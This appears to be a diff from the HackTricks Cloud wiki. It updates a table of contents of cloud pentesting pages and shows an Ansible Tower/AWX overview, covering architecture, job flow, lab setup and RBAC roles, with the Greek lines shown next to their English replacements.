- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
@@ -384,7 +345,7 @@
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
@@ -409,7 +370,6 @@
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -419,32 +379,31 @@
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
@@ -464,7 +423,6 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
@@ -524,7 +482,6 @@
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)

View File

@@ -1,14 +1,18 @@
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
> <summary>Support HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

BIN
src/files/empty.zip Normal file

Binary file not shown.

BIN
src/pdfs/AWS_Services.pdf Normal file

Binary file not shown.

View File

@@ -4,59 +4,60 @@
## Basic Information
**Ansible Tower** ή η ανοιχτού κώδικα έκδοσή του [**AWX**](https://github.com/ansible/awx) είναι επίσης γνωστή ως **διεπαφή χρήστη του Ansible, πίνακας ελέγχου και REST API**. Με **έλεγχο πρόσβασης βάσει ρόλων**, προγραμματισμό εργασιών και γραφική διαχείριση αποθεμάτων, μπορείτε να διαχειριστείτε την υποδομή Ansible από μια σύγχρονη διεπαφή. Το REST API και η γραμμή εντολών του Tower διευκολύνουν την ενσωμάτωσή του σε τρέχοντα εργαλεία και ροές εργασίας.
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansibles user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Towers REST API and command-line interface make it simple to integrate it into current tools and workflows.
**Ο Automation Controller είναι μια νεότερη** έκδοση του Ansible Tower με περισσότερες δυνατότητες.
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
### Differences
Σύμφωνα με [**αυτό**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), οι κύριες διαφορές μεταξύ του Ansible Tower και του AWX είναι η υποστήριξη που λαμβάνουν και το Ansible Tower έχει επιπλέον χαρακτηριστικά όπως έλεγχο πρόσβασης βάσει ρόλων, υποστήριξη για προσαρμοσμένα APIs και ροές εργασίας που καθορίζονται από τον χρήστη.
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
### Tech Stack
- **Web Interface**: Αυτή είναι η γραφική διεπαφή όπου οι χρήστες μπορούν να διαχειρίζονται αποθέματα, διαπιστευτήρια, πρότυπα και εργασίες. Είναι σχεδιασμένη να είναι διαισθητική και παρέχει οπτικοποιήσεις για να βοηθήσει στην κατανόηση της κατάστασης και των αποτελεσμάτων των εργασιών αυτοματοποίησης σας.
- **REST API**: Ό,τι μπορείτε να κάνετε στη γραφική διεπαφή, μπορείτε επίσης να το κάνετε μέσω του REST API. Αυτό σημαίνει ότι μπορείτε να ενσωματώσετε το AWX/Tower με άλλα συστήματα ή να αυτοματοποιήσετε ενέργειες που θα εκτελούσατε συνήθως στη διεπαφή.
- **Database**: Το AWX/Tower χρησιμοποιεί μια βάση δεδομένων (συνήθως PostgreSQL) για να αποθηκεύει τη διαμόρφωσή του, τα αποτελέσματα εργασιών και άλλα απαραίτητα δεδομένα λειτουργίας.
- **RabbitMQ**: Αυτό είναι το σύστημα μηνυμάτων που χρησιμοποιείται από το AWX/Tower για να επικοινωνεί μεταξύ των διαφόρων στοιχείων, ειδικά μεταξύ της διαδικτυακής υπηρεσίας και των εκτελεστών εργασιών.
- **Redis**: Το Redis λειτουργεί ως cache και backend για την ουρά εργασιών.
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
- **Redis**: Redis serves as a cache and a backend for the task queue.
### Logical Components
- **Inventories**: Ένα απόθεμα είναι μια **συλλογή από hosts (ή κόμβους)** κατά των οποίων μπορούν να **εκτελούνται εργασίες** (Ansible playbooks). Το AWX/Tower σας επιτρέπει να ορίσετε και να ομαδοποιήσετε τα αποθέματά σας και υποστηρίζει επίσης δυναμικά αποθέματα που μπορούν να **ανακτούν λίστες hosts από άλλα συστήματα** όπως AWS, Azure κ.λπ.
- **Projects**: Ένα έργο είναι ουσιαστικά μια **συλλογή Ansible playbooks** που προέρχονται από ένα **σύστημα ελέγχου εκδόσεων** (όπως το Git) για να αντλούν τα πιο πρόσφατα playbooks όταν χρειάζεται.
- **Templates**: Τα πρότυπα εργασιών καθορίζουν **πώς θα εκτελείται ένα συγκεκριμένο playbook**, προσδιορίζοντας το **απόθεμα**, τα **διαπιστευτήρια** και άλλες **παραμέτρους** για την εργασία.
- **Credentials**: Το AWX/Tower παρέχει έναν ασφαλή τρόπο για να **διαχειρίζεστε και να αποθηκεύετε μυστικά, όπως κλειδιά SSH, κωδικούς πρόσβασης και API tokens**. Αυτά τα διαπιστευτήρια μπορούν να συσχετιστούν με πρότυπα εργασιών ώστε τα playbooks να έχουν την απαραίτητη πρόσβαση όταν εκτελούνται.
- **Task Engine**: Εδώ συμβαίνει η μαγεία. Ο κινητήρας εργασιών βασίζεται στο Ansible και είναι υπεύθυνος για **την εκτέλεση των playbooks**. Οι εργασίες αποστέλλονται στον κινητήρα εργασιών, ο οποίος στη συνέχεια εκτελεί τα Ansible playbooks κατά του καθορισμένου αποθέματος χρησιμοποιώντας τα καθορισμένα διαπιστευτήρια.
- **Schedulers and Callbacks**: Αυτές είναι προηγμένες δυνατότητες στο AWX/Tower που επιτρέπουν **στις εργασίες να προγραμματίζονται** να εκτελούνται σε συγκεκριμένες χρονικές στιγμές ή να ενεργοποιούνται από εξωτερικά γεγονότα.
- **Notifications**: Το AWX/Tower μπορεί να στέλνει ειδοποιήσεις με βάση την επιτυχία ή την αποτυχία των εργασιών. Υποστηρίζει διάφορους τρόπους ειδοποιήσεων όπως emails, μηνύματα Slack, webhooks κ.λπ.
- **Ansible Playbooks**: Τα Ansible playbooks είναι εργαλεία διαμόρφωσης, ανάπτυξης και ορχήστρωσης. Περιγράφουν την επιθυμητή κατάσταση των συστημάτων με έναν αυτοματοποιημένο, επαναλαμβανόμενο τρόπο. Γραμμένα σε YAML, τα playbooks χρησιμοποιούν τη δηλωτική γλώσσα αυτοματοποίησης του Ansible για να περιγράψουν διαμορφώσεις, εργασίες και βήματα που πρέπει να εκτελούνται.
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
### Job Execution Flow
1. **User Interaction**: Ένας χρήστης μπορεί να αλληλεπιδράσει με το AWX/Tower είτε μέσω της **Web Interface** είτε μέσω του **REST API**. Αυτές παρέχουν πρόσβαση front-end σε όλες τις λειτουργίες που προσφέρει το AWX/Tower.
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
2. **Job Initiation**:
- Ο χρήστης, μέσω της Web Interface ή API, ξεκινά μια εργασία με βάση ένα **Job Template**.
- Το Job Template περιλαμβάνει αναφορές στο **Inventory**, **Project** (που περιέχει το playbook) και **Credentials**.
- Κατά την έναρξη της εργασίας, αποστέλλεται ένα αίτημα στο backend του AWX/Tower για να προγραμματιστεί η εργασία για εκτέλεση.
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
3. **Job Queuing**:
- **RabbitMQ** διαχειρίζεται τη μηνυματοδότηση μεταξύ του διαδικτυακού στοιχείου και των εκτελεστών εργασιών. Μόλις ξεκινήσει μια εργασία, ένα μήνυμα αποστέλλεται στον κινητήρα εργασιών χρησιμοποιώντας το RabbitMQ.
- **Redis** λειτουργεί ως backend για την ουρά εργασιών, διαχειριζόμενος τις προγραμματισμένες εργασίες που περιμένουν εκτέλεση.
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
4. **Job Execution**:
- Ο **Task Engine** παραλαμβάνει την προγραμματισμένη εργασία. Ανακτά τις απαραίτητες πληροφορίες από τη **Database** σχετικά με το σχετικό playbook της εργασίας, το απόθεμα και τα διαπιστευτήρια.
- Χρησιμοποιώντας το ανακτηθέν Ansible playbook από το σχετικό **Project**, ο Task Engine εκτελεί το playbook κατά των καθορισμένων κόμβων **Inventory** χρησιμοποιώντας τα παρεχόμενα **Credentials**.
- Καθώς εκτελείται το playbook, η έξοδος εκτέλεσής του (καταγραφές, γεγονότα κ.λπ.) καταγράφεται και αποθηκεύεται στη **Database**.
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
5. **Job Results**:
- Μόλις ολοκληρωθεί η εκτέλεση του playbook, τα αποτελέσματα (επιτυχία, αποτυχία, καταγραφές) αποθηκεύονται στη **Database**.
- Οι χρήστες μπορούν στη συνέχεια να δουν τα αποτελέσματα μέσω της Web Interface ή να τα ερωτήσουν μέσω του REST API.
- Με βάση τα αποτελέσματα των εργασιών, οι **Notifications** μπορούν να αποσταλούν για να ενημερώσουν τους χρήστες ή τα εξωτερικά συστήματα σχετικά με την κατάσταση της εργασίας. Οι ειδοποιήσεις μπορεί να είναι emails, μηνύματα Slack, webhooks κ.λπ.
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
- Users can then view the results through the Web Interface or query them via the REST API.
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
6. **External Systems Integration**:
- **Inventories** μπορούν να προέρχονται δυναμικά από εξωτερικά συστήματα, επιτρέποντας στο AWX/Tower να αντλεί hosts από πηγές όπως AWS, Azure, VMware και άλλα.
- **Projects** (playbooks) μπορούν να αντλούνται από συστήματα ελέγχου εκδόσεων, διασφαλίζοντας τη χρήση ενημερωμένων playbooks κατά την εκτέλεση εργασιών.
- **Schedulers and Callbacks** μπορούν να χρησιμοποιηθούν για να ενσωματωθούν με άλλα συστήματα ή εργαλεία, κάνοντάς το AWX/Tower να αντιδρά σε εξωτερικά triggers ή να εκτελεί εργασίες σε προκαθορισμένες χρονικές στιγμές.
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
### AWX lab creation for testing
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -82,76 +83,77 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
# Load demo data
docker exec tools_awx_1 awx-manage create_preload_data
```
## RBAC
### Supported roles
Ο πιο προνομιούχος ρόλος ονομάζεται **System Administrator**. Οποιοσδήποτε με αυτόν τον ρόλο μπορεί να **τροποποιήσει οτιδήποτε**.
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
Από μια **white box security** ανασκόπηση, θα χρειαστείτε τον **System Auditor role**, ο οποίος επιτρέπει να **δείτε όλα τα δεδομένα του συστήματος** αλλά δεν μπορεί να κάνει καμία αλλαγή. Μια άλλη επιλογή θα ήταν να αποκτήσετε τον **Organization Auditor role**, αλλά θα ήταν καλύτερα να αποκτήσετε τον άλλο.
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
<details>
<summary>Expand this to get detailed description of available roles</summary>
1. **System Administrator**:
- Αυτός είναι ο ρόλος του superuser με άδειες πρόσβασης και τροποποίησης οποιουδήποτε πόρου στο σύστημα.
- Μπορούν να διαχειρίζονται όλες τις οργανώσεις, ομάδες, έργα, αποθέματα, πρότυπα εργασιών κ.λπ.
- This is the superuser role with permissions to access and modify any resource in the system.
- They can manage all organizations, teams, projects, inventories, job templates, etc.
2. **System Auditor**:
- Χρήστες με αυτόν τον ρόλο μπορούν να δουν όλα τα δεδομένα του συστήματος αλλά δεν μπορούν να κάνουν καμία αλλαγή.
- Αυτός ο ρόλος έχει σχεδιαστεί για συμμόρφωση και εποπτεία.
- Users with this role can view all system data but cannot make any changes.
- This role is designed for compliance and oversight.
3. **Organization Roles**:
- **Admin**: Πλήρης έλεγχος στους πόρους της οργάνωσης.
- **Auditor**: Πρόσβαση μόνο για προβολή στους πόρους της οργάνωσης.
- **Member**: Βασική συμμετοχή σε μια οργάνωση χωρίς συγκεκριμένα δικαιώματα.
- **Execute**: Μπορεί να εκτελεί πρότυπα εργασιών εντός της οργάνωσης.
- **Read**: Μπορεί να δει τους πόρους της οργάνωσης.
- **Admin**: Full control over the organization's resources.
- **Auditor**: View-only access to the organization's resources.
- **Member**: Basic membership in an organization without any specific permissions.
- **Execute**: Can run job templates within the organization.
- **Read**: Can view the organizations resources.
4. **Project Roles**:
- **Admin**: Μπορεί να διαχειρίζεται και να τροποποιεί το έργο.
- **Use**: Μπορεί να χρησιμοποιεί το έργο σε ένα πρότυπο εργασίας.
- **Update**: Μπορεί να ενημερώνει το έργο χρησιμοποιώντας SCM (source control).
- **Admin**: Can manage and modify the project.
- **Use**: Can use the project in a job template.
- **Update**: Can update project using SCM (source control).
5. **Inventory Roles**:
- **Admin**: Μπορεί να διαχειρίζεται και να τροποποιεί το απόθεμα.
- **Ad Hoc**: Μπορεί να εκτελεί ad hoc εντολές στο απόθεμα.
- **Update**: Μπορεί να ενημερώνει την πηγή του αποθέματος.
- **Use**: Μπορεί να χρησιμοποιεί το απόθεμα σε ένα πρότυπο εργασίας.
- **Read**: Πρόσβαση μόνο για προβολή.
- **Admin**: Can manage and modify the inventory.
- **Ad Hoc**: Can run ad hoc commands on the inventory.
- **Update**: Can update the inventory source.
- **Use**: Can use the inventory in a job template.
- **Read**: View-only access.
6. **Job Template Roles**:
- **Admin**: Μπορεί να διαχειρίζεται και να τροποποιεί το πρότυπο εργασίας.
- **Execute**: Μπορεί να εκτελεί την εργασία.
- **Read**: Πρόσβαση μόνο για προβολή.
- **Admin**: Can manage and modify the job template.
- **Execute**: Can run the job.
- **Read**: View-only access.
7. **Credential Roles**:
